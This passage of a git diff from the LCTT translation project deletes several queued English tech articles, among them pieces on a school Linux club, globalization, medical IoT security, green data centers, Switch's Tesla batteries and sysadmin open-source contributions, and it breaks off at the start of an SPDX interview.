distribute. - -The school continued to take referrals, and people came in to pick up laptops. The office receptionist eventually joined our team, walking parents through the software before they left with their laptops. Even though she had no previous experience with Linux, she was able to jump right in and contribute. - -Prior to the shutdown, the Penguin Corps gave away six computers. Between March 16 and the first week of May, we gave away 60 computers. This effectively closed our school's digital divide. - -And at what cost? Since we chose to go with used computers instead of buying new ones, the only thing we had to pay for were batteries, chargers, a couple of hard drives, and a keyboard. Total cost: approximately $900.00, or an average of $12.33 per computer, including the computers we had left over, which we're saving for the fall term. - -The program even gave us the opportunity to help people outside of our school. Reverend Tim Christopher, a pastor in North Minneapolis, reached out to me and the Penguin Corps to ask for our help. A single mother in Minneapolis with two school-aged children needed computers for her kids to do distance learning from their home. Thanks to the Penguin Corps, both kids got one to use for school, for free. - -Aspen Academy principal Melanie Jiskra said, "It was through this group of change agents that all Aspen Academy families had enough devices to continue their education through distance learning. Without the generosity of the people and companies who donated the laptops, the hard work and commitment of Mr. Keroff, and the talent, drive, and passion of the students to serve others, Aspen Academy would not have as successfully bridged the digital divide during this pandemic." - -COVID-19 presented all schools with a challenge, and Aspen Academy's Penguin Corps demonstrated that open source software could be used to meet it. Our biggest challenge became our biggest victory. - -Do you want to know more about how a Linux club can help your school or a school near you? You can email me at [studoeslinux@gmail.com][5]. You can also get ideas for starting your own program at [www.linuxclubguide.com][6]. - -The Asian Penguins Linux users group for middle school students is improving people’s lives through... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/donate-linux - -作者:[Cam Citrowske][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/camcitrowske -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/penguin_corps_group_photo.jpg?itok=_uQlfxDa -[2]: https://opensource.com/education/15/3/asian-penguins-Linux-middle-school-club -[3]: https://opensource.com/sites/default/files/pictures/linux-club-donating-computers.jpg (Middle school Linux club donating computers) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: mailto:studoeslinux@gmail.com -[6]: http://www.linuxclubguide.com diff --git a/sources/talk/20200726 Globalization- A history of openness.md b/sources/talk/20200726 Globalization- A history of openness.md deleted file mode 100644 index 7c056d7107..0000000000 --- a/sources/talk/20200726 Globalization- A history of openness.md +++ /dev/null @@ -1,82 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Globalization: A history of openness) -[#]: via: (https://opensource.com/open-organization/20/7/globalization-history-open) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) - -Globalization: A history of openness -====== -The history of our interconnected world is also a history of our -willingness to open up. -![India on the globe][1] - -In my career conducting international business, I traveled to more than 80 countries worldwide. I was always struck by how strongly regions of the world are connected, and I began studying the forces of globalization as a result. - -Several books on this subject were critical to this research. But the one I'd like to highlight here is [World 3.0: Global Prosperity and How to Achieve It][2] by Pankaj Ghemawat. This book first taught me how _little_ the global community is connected—but also how far it has come compared to the past. During Prof. Ghemawat's research, he worked with DHL and ultimately helped develop the [DHL Global Connectedness Index][3], which tracks how well the global community is interacting in four key measurements: trade, investment, telecommunication, and travel/migration. From that work, I developed and delivered a presentation on [global connectedness][4], which stressed that the world should increase its scores on those four measurements of globalization, as they are directly linked to food supply, health, security, pollution, jobs and other global benefits. - -In this article series, I'll present my research from that period, then explain how we might think about the intersection of globalization and [open organization principles][5] around the world today. When people use terms like "globalization" and "global connectedness," in most cases what they _really_ mean is "building coordinated communities to provide goods/service globally and address global issues." Open organization principles are applicable here—but in this context, on a global scale. - -But before I can explain that interconnection, I'll first need to outline Prof. Ghemawat's criteria. In this article, I'll do that, with a special emphasis on the way open organization principles are critical to all of them. - -### Trade - -By "trade," I'm referring to the imports and exports of goods and services between countries. It's a key dimension of a globally connected world. Trading extremely simple products and services might be possible via electronic transactions, perhaps over the internet. But on the other hand, highly complex products may require a company to build a distribution network in a wide range of countries worldwide. In this case, then, connectivity, collaboration, and leveraging other open organization principles would be extremely important. In my last job, for example, I set up product distributors throughout Europe and the United States and a production operation in China. Building a strong relationship was very important, difficult and took time and effort. I had to use open organization principles to their fullest. - -### Investment - -Global financial investments also have an impact on global connectedness. If an investor simply purchases shares of an overseas company or deposits funds in an overseas bank account, then more complex relationships are not as critical. But if a company wants to invest in a factory (or sales office for that matter) in a foreign country, then a great deal of interpersonal interaction is required. Economists define these two types of investments differently; they call the latter "foreign direct investment" or FDI. Projects focused on FDI get people working closely with each other across traditional geographic boundaries. Here again, open organization principles will play an important role. - -### Communications - -When considering global communications, think of two broad categories: verbal communications and written communications. The former may involve, for example, telephone communications—simply having the ability to get on a telephone and affordably talk to someone anywhere on the globe. Even today, in many parts of the world, this is not technically possible. On top of that, language becomes a problem internationally, as many people aren't communicating in a common language. These issues are being addressed, but according to the 2019 DHL Global Connectedness Index, this has been more difficult to measure than in the past. Today, there are simply too many communication methods to make tracking this dimension as easy as it was in the past, and those methods seem to be increasing at an exponential rate. - -Thanks to proliferating internet access, written forms of communication are also increasing worldwide, but measuring, again, is more difficult to do. For this reason, I'd guess that the next real technological breakthrough will involve both foreign language electronic verbal communication (interpreting) and written communication (translating) software. This software is improving all the time, and could greatly contribute to global communications and information sharing between languages. This, then, will all lead to better integration and spread of open organization principles, as communications are sure to continue to increase worldwide. (Personally, I don't think this technology will replace person-to-person interaction, but could certainly support it.) - -### Travel/migration - -The last factor in the DHL Global Connectedness Index is the movement of people between countries. The first question to ask here is: "Why are people leaving a country and crossing borders? Why do people go from one country to another?" Reasons may include: for better education, for tourism purposes, for economic opportunities, and for safety (e.g., escaping war). Whatever the reason, it will determine how much people will interact with others in the host country. Wanting to go to a foreign country and being forced to leave one's home country are very different situations. The DHL Global Connectedness Index tries to measure factors like this. Open organization principles can be helpful here, particularly in community-building efforts, and in efforts to promote inclusivity. - -Although these factors are always shifting, people of the world will continue to communicate, collaborate, interact, and influence each other on an ever-expanding scale. - -And yet, if you study the DHL Global Connectedness Index, you will find that in all four measurements of trade, investment, communications and travel, the world is far less connected than it could be. More interaction still occurs within national borders than between countries. But as I will demonstrate in future articles of this series, global connectedness has a rather short history, relatively speaking, and we're still learning how best to collaborate and govern in a globally connected world. Understanding the role of open organization principles in this work will become even more important in the years ahead. - -### Think global, act local - -As we consider these issues and the impact open-style thinking can have on them, we'll naturally begin to ask: Where—and on what scale—should we begin addressing these problems? Are the issues _personal_, _local, national, or global_ in their scope and impact? - -As we'll see in future articles in this series, issues like these are often too complex to be confined to just one of those scales. That's why it's important to think about "[glocalization][6]" to address these issues by respecting both local concerns and global impact. - -Take the coronavirus for example. It impacts all humanity and requires [an open, global discussion applying open organization principles][7]. And global organizations, like the [World Health Organization (WHO)][8], will be involved in determining and communicating guidelines for combating the spread of COVID-19. But the issue is a personal one, too, as individuals learn new ways to take responsibility both for their health and the health of those around them. - -So, as we continue exploring the dimensions of the DHL Global Connectedness Index, we should remember that many issues cut across all scales of human activity—and that our responses, based on open principles, should also operate at multiple levels. They should be [_adaptive_ to their contexts][9]. - -In the next article, I'll examine a short history of globalization. Interestingly enough, open organization principles have been at work since the beginning. I'll discuss globalization up to the Industrial Revolution (around the 1800s). In a later installment, I will discuss the evolution of globalization from the Industrial Revolution to the present day. - -Armed with insight from the past, I want to offer proposals for moving forward on issues like pandemics, [climate change][10], global pollution, and others. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/7/globalization-history-open - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/india-globe-map.jpg?itok=6sSEL5iO (India on the globe) -[2]: https://www.amazon.com/World-3-0-Global-Prosperity-Achieve/dp/142213864X -[3]: https://www.dhl.com/global-en/home/insights-and-innovation/thought-leadership/case-studies/global-connectedness-index.html -[4]: https://www.slideshare.net/RonMcFarland1/global-collaborating-create-prosperity?qid=ad57b725-174e-4cf2-8264-ac424a6ad814&v=&b=&from_search=22 -[5]: https://opensource.com/open-organization/resources/open-org-definition -[6]: https://en.wikipedia.org/wiki/Glocalization -[7]: https://opensource.com/open-organization/20/6/covid-alliance -[8]: https://www.who.int/ -[9]: https://opensource.com/open-organization/19/3/adaptive-leadership-review -[10]: https://opensource.com/open-organization/19/10/global-energy-climate-challenges diff --git a/sources/talk/20200727 Are newer medical IoT devices less secure than old ones.md b/sources/talk/20200727 Are newer medical IoT devices less secure than old ones.md deleted file mode 100644 index db3345b9d9..0000000000 --- a/sources/talk/20200727 Are newer medical IoT devices less secure than old ones.md +++ /dev/null @@ -1,72 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Are newer medical IoT devices less secure than old ones?) -[#]: via: (https://www.networkworld.com/article/3568608/are-newer-medical-iot-devices-less-secure-than-old-ones.html) -[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) - -Are newer medical IoT devices less secure than old ones? -====== -Legacy medical IoT devices may lack security features, but newer ones built around commodity components can have a whole different set of vulnerabilities that are better understood by attackers. -Thinkstock - -Experts differ on whether older connected medical devices or newer ones are more to blame for making healthcare networks more vulnerable to cyberattack. - -The classic narrative of insecure [IoT][1] centers on the integration of older devices into the network. In some industries, those devices pre-date the [internet][2], sometimes by a considerable length of time, so it’s hardly surprising that businesses face a lot of challenges in securing them against remote compromise. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][3] - -Even if those devices aren’t quite that old, they often lack key capabilities – in particular, remote software updates and configurable password protection – that would help IT staff defend them against modern threats. - -That might not be strictly true in regards to the medical field, according to Richard Staynings, chief security strategist for medical IoT security startup Cylera. There has, he argues, been an explosion in the number and variety of medical IoT devices in recent years, and many of those gadgets are at least as insecure as the true legacy equipment in the field. - -In some cases, said Staynings, the older devices might actually be considerably more secure than those of more recent vintage. In particular, those based on dated technology like older versions of electrically erasable programmable read-only memory (EEPROM). - -“The older systems were written in EEPROM – you need an EEPROM reader to mess with them,” he said. “The codebase is not on the Internet for hackers to look at, and you need physical access to the EEPROM to rewrite it.” - -In contrast, the newer devices frequently use software and hardware components that are much more familiar to potential attackers. “They’re more ubiquitous in their design and construction – they use [consumer off-the-shelf] operating systems, like Windows embedded, which is still being used believe it or not, and they are much more vulnerable to attack than a legacy system,” Staynings said. - -Insecurity in the current generation of medical IoT hardware also carries the potential for ongoing problems, not just immediate ones. While IT assets get replaced rapidly, IoT devices often have much longer replacement cycles. “Medical devices have the half-life of plutonium,” said Staynings. “They just don’t go away.” - -Other experts are less sold on Staynings’ characterization of the threat to medical IoT, arguing that the idea that newer devices pose a greater threat than older ones flies in the face of recent efforts to make them safer. Keith Mularski directs an advisory cybersecurity practice at Ernst and Young, and described Staynings’ assertion as “surprising,” noting that the regulatory landscape for connected medical devices is quickly moving standards in a positive direction. - -“The FDA has some pretty stringent guidelines that before devices can go to market, you need to put together threat modeling, so looking at security architecture, vectors, and so on ,and then in addition to that the FDA is getting ready to require third-party pen testing in premarket submissions,” said Mularski. “With legacy devices, those premarket submissions aren’t nearly as complete.” - -Mularski does concede that some particularly vulnerable old devices are often more isolated on the network by design, in part because they’re more recognizable as vulnerable assets. Windows 95-vintage x-ray machines, for example, are easy to spot as a potential target for a bad actor. - -“For the most part, I think most of the hospital environments, they do a good job at recognizing that they have these old deices, and the ones that are more vulnerable,” he said. - -This underlines a topic most experts on – simple awareness of the potential security flaws on a given network are central to securing healthcare networks. Greg Murphy is the CEO of Ordr, a network visibility and security startup based in Santa Clara. He said that both Mularski and Staynings have points in their favor. - -“Anyone who minimizes the issue of legacy devices needs to walk a mile in the shoes of the biomedical engineering department at a hospital,” he said. “[But] on the flipside, new devices that are being connected to the network have huge vulnerabilities themselves. Many manufacturers themselves don’t know what vulnerabilities their devices have.” - -The only real way to address the issues, said Murphy, is at the network level – trying to make everything secure at the device level might be a near-impossibility in many cases, and even getting an accurate picture of every device connected to a network often requires the use of an automated solution. - -“This is not a problem of human scale anymore,” he said. - -Both Mularski and Staynings concurred on this point, as well. Regardless of which devices on a particular network are the most vulnerable, it’s worth remembering that cybercriminals generally aren’t particular about what they compromise, as long as they’re able to gain access. - -“There may be an attacker that comes across these devices, runs a scan and happens to see [a vulnerability], but we really haven’t seen specific targeting of medical devices,” said Mularski. “It’s important to make sure that companies that have medical devices are enumerating their network, tracking their devices.” - -Join the Network World communities on [Facebook][4] and [LinkedIn][5] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3568608/are-newer-medical-iot-devices-less-secure-than-old-ones.html - -作者:[Jon Gold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Jon-Gold/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3207535/what-is-iot-the-internet-of-things-explained.html -[2]: https://www.networkworld.com/article/3410588/evolution-of-the-internet-celebrating-50-years-since-arpanet.html -[3]: https://www.networkworld.com/newsletters/signup.html -[4]: https://www.facebook.com/NetworkWorld/ -[5]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200728 Green Data Centers - Scaling environmental sustainability for business and consumers collectively.md b/sources/talk/20200728 Green Data Centers - Scaling environmental sustainability for business and consumers collectively.md deleted file mode 100644 index 88bc67ff05..0000000000 --- a/sources/talk/20200728 Green Data Centers - Scaling environmental sustainability for business and consumers collectively.md +++ /dev/null @@ -1,105 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Green Data Centers – Scaling environmental sustainability for business and consumers collectively) -[#]: via: (https://www.networkworld.com/article/3568670/green-data-centers-scaling-environmental-sustainability-for-business-and-consumers-collectively.html) -[#]: author: (QTS https://www.networkworld.com/author/Andy-Patrizio/) - -Green Data Centers – Scaling environmental sustainability for business and consumers collectively -====== -10 Tips for Choosing the Best Green Data Center -Regardless of how you identify politically, environmental sustainability has become an undeniable business directive. Global warming from carbon emissions, increasing sea levels and images of pollution are increasing public and shareholder pressure on corporations to take an active role in finding solutions and be accountable by setting goals and publicly documenting results. - -In the IT industry, reducing electrical power generation from fossil fuels is priority #1, followed closely by water conservation and waste management.   - -Multi-tenant data centers are one of the largest per capita consumers of electric power. Based on current estimates, data centers in the U.S. alone will consume approximately 73 thousand megawatts (MW) in 2020. - -To put this in perspective, one megawatt is enough to power 700 households. A single data center can use power equivalent to a small city and typically requires a significant amount of water for cooling. - -Worldwide, it’s estimated that data centers consume about three percent of the global electric supply and account for about two percent of total greenhouse gas (GHG) emissions. - -Data center efficiency and sustainability now transcends companies, geographies, and workloads. There is no simple solution and the challenge is compounded as massive digitization of data globally is creating a parallel demand for energy. - -IDC predicts the world’s data will grow from 33 zettabytes in 2017 to 175 zettabytes in 2025 and the amount of energy used by data centers continues to double every four years - meaning they have the fastest-growing carbon footprint of any area within the IT sector.  - -Technological advancements are difficult to forecast, but several models predict data center energy usage could surpass more than 10% of the global electricity supply by 2030 if left unchecked. - -For all of these reasons, the creation of green, sustainable, multi-tenant data centers has become essential in both an environmental and a business sense. Green data centers are built on pillars of commitments to innovative green and renewable strategies, water reclamation, recycling and waste management, and more. They do not contain obsolete systems (such as inactive or underused servers), and take advantage of newer, more efficient technologies. - -Taking cues from the hyperscale data center operators, green data centers recognize the need to lead with modular energy efficient data center designs from the onset, adopt the latest in building technology and influence the overall supply chain for the actual sourcing of materials for these green data centers. - -Benefits such as cost reduction, increased efficiency and knowledge that you are a better corporate citizen are obvious. What is not readily apparent is that by moving into a green multi-tenant data center, sustainability benefits are also passed on to the businesses and consumers who collectively benefit from the data center’s green IT infrastructure. - -The economies of scale are extremely significant. Instead of a business (such as a large online retailer) attempting to deploy its own green IT environment to power its service delivery, it outsources it to the green data center that can do it cheaper and better. The sustainability benefits are then passed along to all the consumers using its services and there could be hundreds of businesses like this in a single  green data center. - -In addition, when you deal with a true green data center that is serious about sustainability, the benefits go far beyond the requirement that your power be renewable. There are environmental and philanthropic benefits that can be linked with your outsourced IT infrastructure. - -The best green data center operators are starting to formally document and report their progress in Environmental, Social and Governance (ESG) reports made public annually. For conventional enterprises and data centers that do not have measurable sustainability as part of their governance, it is coming. - -[QTS][1]  is one of a few data center companies holding themselves accountable as global citizens and committing to sustainability best practices that are impactful, achievable and will ultimately set the standard for the data center industry in the years to come. - -QTS has committed to minimizing its data center carbon footprint utilizing as much renewable fuel, reclaimed water and recycled materials as possible by implementing a methodic sustainability approach featuring energy efficiency measures and renewable energy procurement, all backed by continuous innovation. - -Knowing that transparency is fundamental to accountability, QTS is documenting and publicly reporting on sustainability goals, metrics and best practices – one of only a few data center companies to do so. - -To support this, QTS’ recently published its second Environmental, Social and Governance (ESG) Initiatives report ([accessed here][2]) that documents the industry’s first formal commitment to provide 100% renewable energy across all of its data centers by 2025. - -In 2019, QTS won numerous awards including the coveted GRESB benchmark ranking QTS as the #1 sustainable data center company among all data centers globally for its ESG initiatives. - -Today QTS has seven data centers running on 100% renewable energy. Approximately 30% of its overall data center power requirements are now sourced from renewable energy sources, representing over 300 million kilowatt-hours (kWh) of renewable power. [According to the EPA][3], this makes QTS one of the largest users of green power among all data center companies and the 12th largest user among Top Tech & Telecom companies.  - -**10 Tips for Choosing a Green Data Center** - -For those operating on-premises legacy data centers looking to move into green data centers, or for organizations already outsourcing to a less than green provider, following are 10 tips when evaluating green data center providers. - - * Check the providers’ ESG scores and reviews from ranking organizations such as GRESB, The Carbon Disclosure Project (CDP), RE100, the EPA Green Power Partnership, Sustainalytics and look for documented commitments to 100% renewable energy. - - - * Look for innovation in power such as the use of AI to forecast power consumption, analyze data output, humidity, temperature, and other important statistics for improving efficiency, drive down costs, and reduce total power consumption. - - - * Check the EPA Green Power ranking to find the data centers leading in renewable power commitments. - * Look for industry-first zero water cooling solutions powered by 100% renewable wind and solar power. - - - * Renewable energy should impactful and cost effective. Look for data centers with innovative power procurement models that allow it purchase renewable energy on parity or below the price of conventionally produced power. - - - * Look for innovative companies that create an open dialogue with customers to gather feedback on sustainability initiatives and help the customers meet their ESG goals. - - - * Look for data center operators that work closely with utilities to develop tariffs and legislation that make it easier and more cost effective for everyone to procure renewable energy. - - - * Look for providers with innovative philanthropic programs such as the “Grow with QTS” program that plants more than 20,000 trees in the Sierra Mountains every year on behalf of its customers, or its HumanKind program that promotes clean water solutions in developing regions. - - - * Look for providers actively speaking and participating with leading organizations such as the EPA’s Green Power Partnership, REBA, the Data Center Coalition’s energy committee and RE100. - - - * Look for providers touting on-site physical features such as smart temperature and lighting controls, rainwater reclamation, recycling and waste initiatives, and EV charging stations. - - - -No industry, nor individual company, is perfect. But, when necessary, it can align around a core set of principles that benefit themselves, their communities and generations to come. The threat of global climate change makes it impossible for data center providers to ignore their roles in the global concern. Committing to action today, as a unified industry, benefits all. - -The fact that so many businesses are more environmentally aware means that contemplating what green, sustainable data centers can offer is becoming an increasingly important standard for choosing a data center provider. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3568670/green-data-centers-scaling-environmental-sustainability-for-business-and-consumers-collectively.html - -作者:[QTS][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.qtsdatacenters.com/ -[2]: https://www.qtsdatacenters.com/resources/brochures/esg-initiatives-2019 -[3]: https://www.epa.gov/greenpower/green-power-partnership-top-30-tech-telecom diff --git a/sources/talk/20200729 Switch turns to Tesla for renewable energy storage.md b/sources/talk/20200729 Switch turns to Tesla for renewable energy storage.md deleted file mode 100644 index dfbcdb7320..0000000000 --- a/sources/talk/20200729 Switch turns to Tesla for renewable energy storage.md +++ /dev/null @@ -1,62 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Switch turns to Tesla for renewable energy storage) -[#]: via: (https://www.networkworld.com/article/3568358/switch-turns-to-tesla-for-renewable-energy-storage.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Switch turns to Tesla for renewable energy storage -====== -Switch will power its massive data centers with solar energy and use Tesla Megapacks for large-scale energy storage. -ipopba / Getty Images - -Data center provider [Switch][1] has selected Tesla as the battery supplier for a massive solar project at its northern Nevada data center facilities. - -It's a geographically easy alliance as Switch's campus is right near Tesla's [Gigafactory Nevada][2] manufacturing facility. While best known for its cars, Tesla has also made quite an entry in the battery space with products such as the Powerwall, Powerpack, and Megapack energy storage products. - -Switch recently broke ground on Gigawatt 1, a huge project that will use solar panels from First Solar to generate a total of 555 megawatts (MWs) of power at three locations and Tesla Megapacks to store the energy. - -**READ MORE:** [Data-center power consumption holds steady][3] - -Data centers are frequently built close to renewable sources of energy, usually hydropower. That's why many Amazon, Google, Facebook and Microsoft data centers are sitting by rivers. Solar is the easiest form of power to collect, but it's also the most fickle. Solar-powered sites are at the mercy of darkness and cloudy days, and users don't care if it's overcast out. - -Adam Kramer, executive vice president of strategy at Switch, says peak solar production is around 1 p.m. when the sun is overhead, but overall peak consumer demand is around 5 p.m. to 6 p.m., when the sun is either setting or has set, depending on the time of year. - -In running a [data center][4], there are no peak hours. "The Internet is 24/7. If they aren't using it in New York, they are using it in L.A. We have a very flat power profile. Our load looks the same at 2 a.m. as it does at 2 p.m.," Kramer told me. ** -** - -With solar, and especially in Nevada, Switch had "an overabundance of solar generation but nowhere to store it. During the day we generate max power but [have] no need to use it." - -Advances in Tesla battery storage are a key piece of the puzzle. Switch has been running on 100% solar power since 2016 but couldn't store it because "the technology just wasn't there for it," Kramer says. - -Enter Tesla's Megapack. The Megapack is a beefed-up version of the Tesla PowerWall used for individual homes to store solar power and the PowerPack technology Tesla uses in its electric vehicles. Each Megapack can hold up to three megawatt hours (MWhs) of storage and 1.5 MW of inverter capacity. - -So with enough Megapacks, sunlight energy captured at 1 p.m. can be powering the data center at 1 a.m. - -Kramer says this benefits not only Switch but also its customers. "We are able to lock in extremely competitive pricing for switching our clients for the long-term and not be subject to market volatility. When we're able to reduce our cost, it provides cost savings for all our clients," he says. - -So if Switch can power its massive data centers with solar energy even when the sun does not shine, why can't you? - -Join the Network World communities on [Facebook][5] and [LinkedIn][6] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3568358/switch-turns-to-tesla-for-renewable-energy-storage.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.switch.com/ -[2]: https://www.tesla.com/gigafactory -[3]: https://www.networkworld.com/article/3531316/data-center-power-consumption-holds-steady.html -[4]: https://www.networkworld.com/article/3223692/what-is-a-data-centerhow-its-changed-and-what-you-need-to-know.html -[5]: https://www.facebook.com/NetworkWorld/ -[6]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200730 4 ways I contribute to open source as a Linux systems administrator.md b/sources/talk/20200730 4 ways I contribute to open source as a Linux systems administrator.md deleted file mode 100644 index 2850fc614c..0000000000 --- a/sources/talk/20200730 4 ways I contribute to open source as a Linux systems administrator.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (4 ways I contribute to open source as a Linux systems administrator) -[#]: via: (https://opensource.com/article/20/7/open-source-sysadmin) -[#]: author: (Elizabeth K. Joseph https://opensource.com/users/pleia2) - -4 ways I contribute to open source as a Linux systems administrator -====== -You don't have to be a coder to make valuable contributions to the open -source community; here are some other important roles you can fill as a -sysadmin. -![open source button on keyboard][1] - -I recently participated in The Linux Foundation Open Source Summit North America, held virtually June 29-July 2, 2020. In the course of that event, I had the opportunity to speak with a fellow attendee about my career in Linux systems administration and how it had led me to a career focused on [open source][2]. Specifically, he asked, how does a systems administrator who doesn't do a lot of coding participate in open source projects? - -That's a great question! - -A lot of focus in open source projects is placed on the actual code, but there's a lot more to it than that. The following are some ways that I've been deeply involved in open source projects, without writing code. - -### Improving documentation - -I got my official start in open source by rewriting a quickstart guide for a project I used heavily. We spend most of our time using software in production and at scale. We routinely run into configuration gotchas and edge cases, and we often privately develop best practices for managing services effectively. - -Inevitably, we run into things that aren't documented, have out of date documentation, or need improvements to the documentation to be made. This is a great opportunity! The developers and documentation writers are often unaware of these issues, and you have the key to solving them. Typically it starts with a bug report to the documentation project, but if you know the answer, you can often submit a patch to the documentation to improve it. - -### Contributing "recipes" - -We often spend too much time reinventing the wheel when we're launching common services. I remember my early days of slogging through MySQL configuration files to figure out the best settings for the databases for a particular customer. Today, a lot of that has been simplified, allowing us to use Ansible playbooks, Puppet modules, and more to get a basic configuration going. This is a place where you can contribute! Whether it's an official "recipe" you contribute to the appropriate hub or a sample rundown of your configuration or architecture diagram of Logstash, sharing your expertise in the form of examples can be incredibly helpful to others who are facing the same configuration challenges. - -### Hosting project resources - -I spent part of my career as a full-time systems administrator, directly working on hosting project resources for OpenStack, an infrastructure that is fully open source—every config file and Puppet change is done through public code review and tracked in a public Git repository. There are several projects out there that host their infrastructures in an open source manner, many of which are listed on the [Open Source Infrastructure (#openinfra) homepage][3]. These range from KDE and Debian to the Apache Software Foundation. In these communities, external participants can submit improvements to the infrastructure as their time and expertise allow. Since a lot of this is peer-reviewed, it's also a nice opportunity to build your skills in areas you may not be strictly focused on at work. - -I've also done work on specific projects where the need was not broadcasted but was clear once I joined the community. For instance, one of my Linux communities needed a place to host a development website environment so we could try out new plugins and features outside of our production environment. We also found that giving shell accounts to participants was a valuable way to make sure they were always connected to IRC and had a sandbox beyond their own desktop. I now manage two virtual servers for this project to address these needs and have built up my own little systems team inside the project, so I'm not the only administrator. - -### Supporting your fellow users - -As someone who is using software in production, your operational experience is essential to a thriving support outlet, so don't be shy. Participation in user forums, mailing lists, and chat may seem like something that only experts can do, but regardless of your level, you will always have more experience than someone who just started out. A newcomer to the space can help out with simple questions, and give the more experienced participants the energy to answer more complicated questions. The more experience you gain, the more involved you can get in the community. - -### Be a better sysadmin by contributing - -Whatever way you decide to participate, the value gained from contributing to open source projects as a [systems administrator][4] cannot be understated. Your contributions will be noticed by members of the community, and often result in opportunities to chat on the latest project podcast, sit for an interview on the project blog, or speak at an event. All of these things raise your profile in the project as someone who is knowledgeable about the technology. You can also point to your public expertise when you're interviewing for your next role, having a public track record of giving advice in a project where a company is looking for expertise is a huge vote in your favor. - -Finally, I've also found that participating in open source projects to be tremendously valuable on a personal level. I feel good about contributing to the community, and it's rewarding to know that your expertise is valuable to folks outside the walls of your organization. - -Looking for a place to start? Find the communities behind the open source technology you already use and love. Or, if you're looking for a place to [write][5], you've found it here at Opensource.com. - -You don't need to be a master coder to contribute to open source. Jade Wang shares 8 ways you can... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/7/open-source-sysadmin - -作者:[Elizabeth K. Joseph][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/pleia2 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/button_push_open_keyboard_file_organize.png?itok=KlAsk1gx (open source button on keyboard) -[2]: https://opensource.com/resources/what-open-source -[3]: https://opensourceinfra.org/ -[4]: https://opensource.com/article/19/7/be-a-sysadmin -[5]: https://opensource.com/how-submit-article diff --git a/sources/talk/20200730 Role Of SPDX In Open Source Software Supply Chain.md b/sources/talk/20200730 Role Of SPDX In Open Source Software Supply Chain.md deleted file mode 100644 index ccae1f1e2d..0000000000 --- a/sources/talk/20200730 Role Of SPDX In Open Source Software Supply Chain.md +++ /dev/null @@ -1,84 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Role Of SPDX In Open Source Software Supply Chain) -[#]: via: (https://www.linux.com/audience/developers/role-of-spdx-in-open-source-software-supply-chain/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Role Of SPDX In Open Source Software Supply Chain -====== - -Kate Stewart is a Senior Director of Strategic Programs, responsible for the Open Compliance program at the Linux Foundation encompassing SPDX, OpenChain, Automating Compliance Tooling related projects. In this interview, we talk about the latest release and the role it’s playing in the open source software supply chain. - -*Here is a transcript of our interview. * - -Swapnil Bhartiya: Hi, this is Swapnil Bhartiya, and 